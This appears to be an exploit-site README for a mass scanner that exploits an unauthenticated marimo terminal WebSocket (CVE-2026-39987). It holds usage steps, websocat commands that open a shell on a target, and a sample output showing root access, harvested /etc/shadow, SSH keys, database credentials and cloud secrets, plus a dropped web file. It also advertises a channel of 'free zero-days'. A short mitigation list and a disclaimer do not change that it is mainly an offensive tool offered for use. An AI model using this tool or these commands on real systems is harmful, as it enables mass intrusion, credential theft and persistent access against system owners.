Share
## https://sploitus.com/exploit?id=BDEBC7BC-574F-53BD-A9D7-7CD41789525A
# CVE-2026-39987
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability
```
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
```
# CVE-2026-39987
### Marimo `/terminal/ws` โ Unauthenticated WebSocket Pre-Auth RCE
### Mass Scanner ยท Full Enumeration ยท Smart Detection






**Author:** [Nxploited](https://github.com/Nxploited) ยท **Telegram:** [@KNxploited](https://t.me/KNxploited)
---
> ### ๐ข Join the Telegram channel for the latest free zero-days & exploits:
> ## ๐ [Nxploited ZeroDay Hub โ t.me/KNxploited](https://t.me/KNxploited)
---
## ๐ Overview
**CVE-2026-39987** is a **critical Pre-Authentication Remote Code Execution** vulnerability affecting **Marimo**, an open-source reactive Python notebook platform.
The terminal WebSocket endpoint `/terminal/ws` completely lacks authentication validation, allowing any **unauthenticated remote attacker** to obtain a **full PTY shell** and execute arbitrary system commands with the privileges of the running process โ often `root` inside containerized deployments.
Unlike other WebSocket endpoints such as `/ws`, which correctly invoke `validate_auth()` before accepting connections, the `/terminal/ws` endpoint only verifies the running mode and platform compatibility, **entirely skipping authentication**.
> โ
**Patched in:** `marimo >= 0.23.0`
> โ **All versions prior to `0.23.0` are vulnerable**
---
## ๐ Vulnerability Details
| Property | Value |
|---|---|
| **CVE ID** | CVE-2026-39987 |
| **Affected Software** | marimo Supported formats: bare IP ยท IP:port ยท domain ยท domain:port ยท `http://` ยท `https://` ยท `ws://` ยท `wss://`
---
### Step 2 โ Launch the scanner
```bash
python3 CVE-2026-39987.py
```
---
### Step 3 โ Interactive configuration
```
โธ Targets file (default: targets.txt) : targets.txt
โธ Threads (default: 50) : 100
```
> Thread range: 1โ300. Recommended: 50โ150 depending on your network.
---
## ๐ฅ๏ธ Output Preview
### Terminal UI
```
โญโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ CVE-2026-39987 ยท Marimo WebSocket RCE โ
โ MASS SCANNER ยท FULL ENUM ยท SMART DETECT โ
โ By: Nxploited ยท github.com/Nxploited ยท @KNxploited โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
โโโโโโโโโโโโโโ ws://192.168.1.100:2718/terminal/ws โโโโโโโโโโ
โญโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฎ
โ โโโ ROOT ACCESS โโโ โ
โ ws://192.168.1.100:2718 โ
โ uid โธ uid=0(root) groups=[root] โ
โฐโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฏ
โโ ENVIRONMENT โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ Type MARIMO
โ Docker True
โ Marimo version 0.22.1
โ Notebook directory /app/notebooks
โโ MARIMO โ NOTEBOOKS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ Notebooks 7 found
ยท /app/notebooks/analysis.py
ยท /app/notebooks/data_pipeline.py
ยท /app/notebooks/etl_job.py
โโ MARIMO โ TOKENS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ Token CLI secret-token-abc123xyz
โฆ .marimo.toml /root/.marimo.toml
โโ /etc SENSITIVE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ /etc/shadow READABLE [42 entries]
โ /etc/passwd [42 lines]
โ /etc/crontab [12 lines]
โโ SSH KEYS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ /root/.ssh/id_rsa FOUND
โฆ /root/.ssh/id_ed25519 FOUND
โโ DATABASES โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ MySQL DATABASES LISTED
โฆ Redis PONG โ NO AUTH
โฆ DuckDB files /app/notebooks/data.duckdb
โโ SENSITIVE ENV VARS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โฆ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
โฆ AWS_SECRET_ACCESS_KEY redacted...
โโ NX FILE DROP โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ๏ฟฝ๏ฟฝโโโโโโโโโโ
โฆ Shell write /app/notebooks/Nx.py
โฆ HTTP access http://192.168.1.100:2718/Nx.py
โโ COMPLETE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Saved to nx_output/192.168.1.100_2718/
โฆ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
```
---
### Live Progress
```
โฆ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
```
---
## ๐ Output Structure
```
nx_output/
โ
โโโ summary.txt โ Master summary of all targets
โโโ curls.txt โ websocat one-liners for all shells
โโโ Nx.txt โ HTTP-confirmed file drops
โ
โโโ 192.168.1.100_2718/ โ Per-target directory
โโโ summary.txt โ Target summary & connect command
โโโ identity.txt โ id ยท whoami ยท uname ยท hostname ยท shell
โโโ users.txt โ /etc/passwd ยท shadow ยท sudoers ยท last
โโโ ssh_keys.txt โ Discovered SSH private keys & auth keys
โโโ etc_data.txt โ /etc/hosts ยท resolv.conf ยท crontab ยท env
โโโ env_sensitive.txt โ Filtered sensitive environment variables
โโโ databases.txt โ MySQL ยท Redis ยท PostgreSQL ยท config files
โโโ app_configs.txt โ .env ยท wp-config.php ยท settings.py ยท etc
โโโ notebooks.txt โ Full content of all Marimo notebooks
โโโ marimo_toml.txt โ .marimo.toml configuration files
โโโ marimo_tokens.txt โ All extracted Marimo auth tokens
โโโ dotenv.txt โ .env / .env.local / .env.production
โโโ databases_marimo.txt โ DuckDB ยท SQLite ยท DB URLs from notebooks
โโโ webserver_configs.txt โ Apache/Nginx VirtualHosts & configs
โโโ network.txt โ Interfaces ยท routes ยท open ports ยท iptables
โโโ processes.txt โ ps aux ยท crontab ยท cron.d ยท systemd units
โโโ logs.txt โ auth.log ยท syslog ยท access.log ยท error.log
โโโ nx_file.txt โ Nx drop path ยท web root ยท HTTP URL
โโโ software.txt โ PHP ยท Python ยท Node.js versions
```
---
## ๐ Access Levels
| Icon | Level | Description |
|---|---|---|
| `โฆโฆโฆ` ๐ข | **ROOT** | `uid=0` โ Full root access |
| `โฆโฆ` ๐ก | **PRIV** | Member of `sudo` ยท `wheel` ยท `docker` ยท `disk` ยท `adm` |
| `โฆ` ๐ต | **SHELL** | Unprivileged shell access |
| `โ` ๐ด | **FAIL** | Connection refused ยท timeout ยท HTTP error |
---
## ๐ Supported Environments
| Environment | Auto-Detected | Specialized Collection |
|---|---|---|
| ๐ฃ **Marimo** | โ
| Notebooks ยท Tokens ยท DuckDB ยท `.marimo.toml` ยท mounts |
| ๐ต **cPanel / WHM** | โ
| `userdomains` ยท MySQL password ยท WHM user list |
| ๐ **Plesk** | โ
| `psa.shadow` ยท vhosts ยท MySQL admin credentials |
| ๐ **Apache** | โ
| VirtualHosts ยท `sites-enabled` ยท access/error logs |
| ๐ข **Nginx** | โ
| Server blocks ยท `conf.d` ยท access/error logs |
| ๐ **Python App** | โ
| `.env` ยท `settings.py` ยท `config.py` ยท Pipfile |
| ๐ก **Node.js** | โ
| `.env` ยท `package.json` ยท public directory |
| ๐ณ **Docker** | โ
| Bind mounts ยท container-local storage detection |
| โ๏ธ **Generic** | โ
| Full enumeration suite on unknown environments |
---
## ๐ Manual Connection
Once a vulnerable target is identified, connect manually using `websocat`:
```bash
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
```
> The `Authorization` header value is irrelevant โ the endpoint accepts any or no token.
---
## ๐ก๏ธ Mitigation
If you are running Marimo in a production or exposed environment:
1. **Upgrade immediately** to `marimo >= 0.23.0`
2. Place Marimo behind an authenticated reverse proxy (Nginx + BasicAuth / OAuth2 proxy)
3. Bind Marimo only to `127.0.0.1` โ never expose it directly to the internet
4. Use firewall rules to restrict `/terminal/ws` access
5. Audit your deployment for exposed instances
---
## โ ๏ธ Disclaimer
> **This tool is provided strictly for educational purposes, authorized penetration testing, and legitimate security research.**
You **must** have explicit written permission from the system owner before running this tool against any target. Unauthorized use against systems you do not own or have permission to test is **illegal** and may result in civil and/or criminal prosecution under applicable computer crime laws, including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, EU cybercrime directives, and equivalent legislation in your jurisdiction.
The author accepts **no liability** for any damage, data loss, or legal consequences arising from misuse of this tool.
**Use responsibly. Hack ethically.**
---
## ๐ค Author
| | |
|---|---|
| **Handle** | Nxploited |
| **GitHub** | [github.com/Nxploited](https://github.com/Nxploited) |
| **Telegram** | [@KNxploited](https://t.me/KNxploited) |
| **Channel** | [Nxploited ZeroDay Hub](https://t.me/KNxploited) |
---
> *"The quieter you become, the more you are able to hear."*
โญ **If this tool was useful, drop a star and join the channel for more zero-days!** โญ
### ๐ [t.me/KNxploited](https://t.me/KNxploited)